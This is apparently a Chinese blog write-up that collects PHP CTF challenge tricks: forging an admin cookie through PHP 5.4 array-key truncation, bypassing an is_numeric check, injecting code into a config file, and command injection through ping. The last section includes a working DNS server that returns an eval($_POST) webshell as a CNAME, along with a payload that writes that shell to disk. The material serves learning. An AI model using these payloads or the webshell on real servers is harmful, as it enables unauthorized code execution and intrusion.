收集一些 php 的奇技淫巧,来自于 p 神知识星球和 github 上的一些靶场

0x0001

环境:PHP5.4.30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$users = array(
"0:9b5c3d2b64b8f74e56edec71462bd97a" ,
"1:4eb5fb1501102508a86971773849d266",
"2:facabd94d57fc9f1e655ef9ce891e86e",
"3:ce3924f011fe323df3a6a95222b0c909",
"4:7f6618422e6a7ca2e939bd83abde402c",
"5:06e2b745f3124f7d670f78eabaa94809",
"6:8e39a6e40900bb0824a8e150c0d0d59f",
"7:d035e1a80bbb377ce1edce42728849f2",
"8:0927d64a71a9d0078c274fc5f4f10821",
"9:e2e23d64a642ee82c7a270c6c76df142",
"10:70298593dd7ada576aff61b6750b9118"
);

$valid_user = false;

$input = $_COOKIE['user'];
$input[1] = md5($input[1]);

foreach ($users as $user)
{
$user = explode(":", $user);
if ($input === $user) {
$uid = $input[0] + 0;
$valid_user = true;
}
}

if (!$valid_user) {
die("not a valid user\n");
}

if ($uid == 0) {

echo "Hello Admin How can I serve you today?\n";
echo "SECRETS ....\n";

} else {
echo "Welcome back user\n";
}

用户5的密码Hash06e2b745f3124f7d670f78eabaa94809,密码明文是hund,在德语中是狗的意思。

我们现在知道从COOKIE中获取数据,作为数组进行储存。数组包含两个元素:用户ID和密码明文。还知道用户5的密码明文是hund。这意味着,我们可以通过设置cookie以用户5的身份进行登录。

1
Cookie:user[0]=5;user[1]=hund;

但是走到 $input === $user 后,将cookie中的$uid加上0来强制转换为数字类型。此外,还将$valid_user设为true

所以 $uid 此时就等于 5 。

为了能继续往后做,这里就要补充一个关于 PHP 5.4.30 的知识点了。

不同数组之间比较由于整数键截断导致结果相同

整数key截断问题发生在zend_hash_compare()函数这里,在数组进行比较时,数字型下标在比较时,是通过各自的值相减结果来判断的,值是存放在bucket类型的h。通过判断结果是否为0决定是否相等。然而,h的数据类型bucket被定义为unsigned long,在64位系统中,通常是64位,但是result变量却只是32位int类型。因此,当比较结果的低32位全是0的话,比较结果会是相等。因此,key=0key=4294967296(0x10000000)以及其他的key都被认为相等。

也就是说

1
arr[0] => 1 === arr[4294967296] => 1

所以我们可以让用户 5 伪造成用户 0 登录,我们修改 Cookie

1
Cookie:user[4294967296]=5;user[1]=hund;

此时的 $input

1
[4294967296 => "5",1 => "hund"]

判断 $input === $user 时,会把 input[4294967296] 看成 **input[0]**,成功进入 if 里面,因为$input[0]并没有被初始化,所以当其加上0时,结果为0。这时,用户身份就从用户5变成了用户0,admin身份。

这里复现要下载对应的 php 版本,我就偷个懒直接找在线环境测试。

Online PHP editor | Test code in 250+ PHP versions (3v4l.org)

1
2
3
4
5
6
<?php
$input = [4294967296 => "5",1 => 'hund'];
$input2 = [0 => "5",1 => 'hund'];
if($input === $input2){
echo "yes";
}

image-20240903110805415

可以看到只有在 PHP5.4.0-5.4.43,5.5.0-5.5.26,5.6.0-5.6.1 版本中才能以admin身份登录

影响范围

PHP5.4.0-5.4.43,5.5.0-5.5.26,5.6.0-5.6.1

0x0002

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
show_source(__FILE__);
$flag = "xxxx";
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
?>
1
2
3
4
>>> 60 * 60 * 24 * 30 * 2
5184000
>>> 60 * 60 * 24 * 30 * 3
7776000

要绕过前面两个 if 很简单,但是后面等待的时间会很长,is_numeric 可以识别支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。而强制类型转换int,不能正确转换的类型有十六进制型字符串、科学计数法型字符串(部分)

比如

1
echo (int)"6e6";

输出的结果是 6;

1
echo (int)"0x4f1a00"

输出结果是 0;

如果你想将十六进制字符串转换为整数,应该使用 intval 并指定基数:

1
$intValue = intval("1A", 16); // 结果为 26

科学技术法的话,先转为浮点数再用 int

1
$intValue = (int)floatval("1.23e4"); // 结果为 12300

0x0003

index.php

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$str = addslashes($_GET['option']);
$file = file_get_contents('option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('option.php', $file);

option.php

1
2
3
<?php
highlight_file(__FILE__);
$option='';

流程如下:

  1. 对传入的option参数进行addslashes,比如有单引号',会变成\'
  2. 通过正则匹配xxxxx/option.php中的$option='xxx';,将xxx的内容替换为经第一步处理的值
  3. 替换完成,将其写入xxxxx/option.php。

场景: 用于写入配置文件等。

法一

1
option=a';%0aphpinfo();//

然后

1
option=a

利用的是 .* 的正则匹配漏洞,第一次经过 addslashes 函数后,得到

1
a\';%0aphpinfo();//

option.php 里变成

1
2
3
4
<?php
highlight_file(__FILE__);
$option='a\';
phpinfo();//';

第二次访问

1
option=a

会匹配两个单引号1里的内容即 a\,替换为 a,此时的 option.php 里的内容变为

1
2
3
4
<?php
highlight_file(__FILE__);
$option='a';
phpinfo();//';

法二

1
?option=aaa\';phpinfo();//

经过addslashes后,$str为 aaa\\\';phpinfo();//

经过 preg_replace 后三个\ 变成两个 \, 猜测是 preg_replace 做了转义处理。

0x0004

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
header('Content-Type: text/plain');
$ip = $_GET['ip'] ?? exit;
duita($ip);
$ip = escapeshellcmd($ip);
$ip = str_replace('\>', '>', $ip);
$ip = str_replace('\<', '<', $ip);
$cmd = sprintf('ping -c 2 %s', $ip);
echo shell_exec($cmd);

function duita($ip)
{
if (strpbrk($ip, "&;`|*?()$\\\x00") !== false) {
exit('WAF');
}
if (stripos($ip, '.php') !== false) {
exit('WAF');
}
}
?>

可以发现这里有两个考点

  1. 写入 webshell
  2. 绕过 .php 检测

绕过 .php 检测很简单,来看一官方文档里的 escapeshellcmd

反斜线(\)会在以下字符之前插入: *&#;`|*?~<>^()[]{}$*, \x0A\xFF 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

重点就在于 仅在不配对儿的时候被转义,所以如果在配对情况下, bash 中 “” 是空字符串,在 bash 里 “” 就不会保留了

shell.ph""p
1
shell.ph""p

接下来就是怎么写入 shell 了。

ping www.baidu.com ,可以看到输出的界面有一个cname的地址www.a.shifen.com。可控。 使用dnspod配置特殊字符无效。 其余平台未测试,然后尝试自己搭建一个dns服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# coding=utf-8
"""
LICENSE http://www.apache.org/licenses/LICENSE-2.0
"""
import datetime
import sys
import time
import threading
import traceback
import socketserver
from dnslib import *
import binascii # 用于处理十六进制编码和解码


# 定义基本域名和 IP 地址
TTL = 60 * 5 # 定义生存时间 (TTL),单位为秒


# 处理 DNS 请求,生成响应
def dns_response(data):
# 解析请求数据
request = DNSRecord.parse(data)

print(request) # 打印请求内容

# 创建回复报文,带上请求头的 ID 和相关信息
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)

# 获取请求的域名和类型
qname = request.q.qname
qn = str(qname) # 转换为字符串形式
qtype = request.q.qtype
qt = QTYPE[qtype] # 请求的类型(如 A、NS 等)

# 检查请求的域名是否匹配
if qn.startswith('aaa.dddns.320ctf.fun'):
rdata = CNAME('<?=eval($_POST[1])?>.dddns.320ctf.fun')
reply.add_answer(RR(rname=qname, rtype=5, rclass=1, ttl=TTL, rdata=rdata))
else:
rdata = A('81.71.96.92')
reply.add_answer(RR(rname=qname, rtype=1, rclass=1, ttl=TTL, rdata=rdata))

print("---- Reply:\n", reply) # 打印回复内容

return reply.pack() # 返回打包后的 DNS 响应


# 定义通用的请求处理类,提供获取和发送数据的抽象方法
class BaseRequestHandler(socketserver.BaseRequestHandler):

def get_data(self):
raise NotImplementedError

def send_data(self, data):
raise NotImplementedError

def handle(self):
# 获取当前时间
now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')
print("\n\n%s request %s (%s %s):" % (self.__class__.__name__[:3], now, self.client_address[0],
self.client_address[1]))
try:
# 处理收到的 DNS 请求数据
data = self.get_data()
print(len(data), binascii.hexlify(data)) # 使用 binascii 进行十六进制编码输出
# 发送 DNS 响应
self.send_data(dns_response(data))
except Exception:
# 如果出现错误,打印错误信息
traceback.print_exc(file=sys.stderr)


# 定义 TCP 请求处理类
class TCPRequestHandler(BaseRequestHandler):

def get_data(self):
# 接收 TCP 数据并检查长度
data = self.request.recv(8192).strip()
sz = int(binascii.hexlify(data[:2]), 16) # 使用 binascii 进行十六进制解码
if sz < len(data) - 2:
raise Exception("Wrong size of TCP packet") # 如果数据长度错误,抛出异常
elif sz > len(data) - 2:
raise Exception("Too big TCP packet") # 如果数据过大,抛出异常
return data[2:]

def send_data(self, data):
# 发送 TCP 数据时,先将数据长度编码为 16 进制并发送
sz = binascii.unhexlify(hex(len(data))[2:].zfill(4)) # 使用 binascii 将长度转换为 16 进制
return self.request.sendall(sz + data)


# 定义 UDP 请求处理类
class UDPRequestHandler(BaseRequestHandler):

def get_data(self):
# 直接返回接收到的 UDP 数据
return self.request[0].strip()

def send_data(self, data):
# 发送 UDP 响应数据
return self.request[1].sendto(data, self.client_address)


# 主程序入口
if __name__ == '__main__':
print("Starting nameserver...")

# 创建 TCP 和 UDP 服务器,监听指定端口
servers = [
socketserver.ThreadingUDPServer(('', 53), UDPRequestHandler),
socketserver.ThreadingTCPServer(('', 53), TCPRequestHandler),
]
# 为每个服务器创建一个线程并启动
for s in servers:
thread = threading.Thread(target=s.serve_forever) # 服务器线程将为每个请求创建新线程
thread.daemon = True # 主线程退出时自动终止服务器线程
thread.start()
print("%s server loop running in thread: %s" % (s.RequestHandlerClass.__name__[:3], thread.name))

# 主线程保持运行,直到手动终止
try:
while 1:
time.sleep(1) # 每秒输出一次状态
sys.stderr.flush() # 刷新标准错误输出
sys.stdout.flush() # 刷新标准输出

except KeyboardInterrupt:
pass # 捕获 Ctrl+C 中断
finally:
# 停止服务器
for s in servers:
s.shutdown()

记得把域名的 dns 解析全关了,服务器的默认 dns 也关 ,腾讯云的 53 tcp and udp 都要放行

1
2
3
4
5
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
# 实验结束后记得开回来
sudo systemctl start systemd-resolved
sudo systemctl enable systemd-resolved # 开机自动启动

dig 一下可以发现 shell 被返回了

image-20241002015708314

但是 ping 一直没结果,部分公共dns不可能 。 会过滤这些特殊符号。 可以使用dnspod的公共dns服务。 119.29.29.29

payload

1
ping -c 2 aaa.dddns.320ctf.fun >> 1.ph""p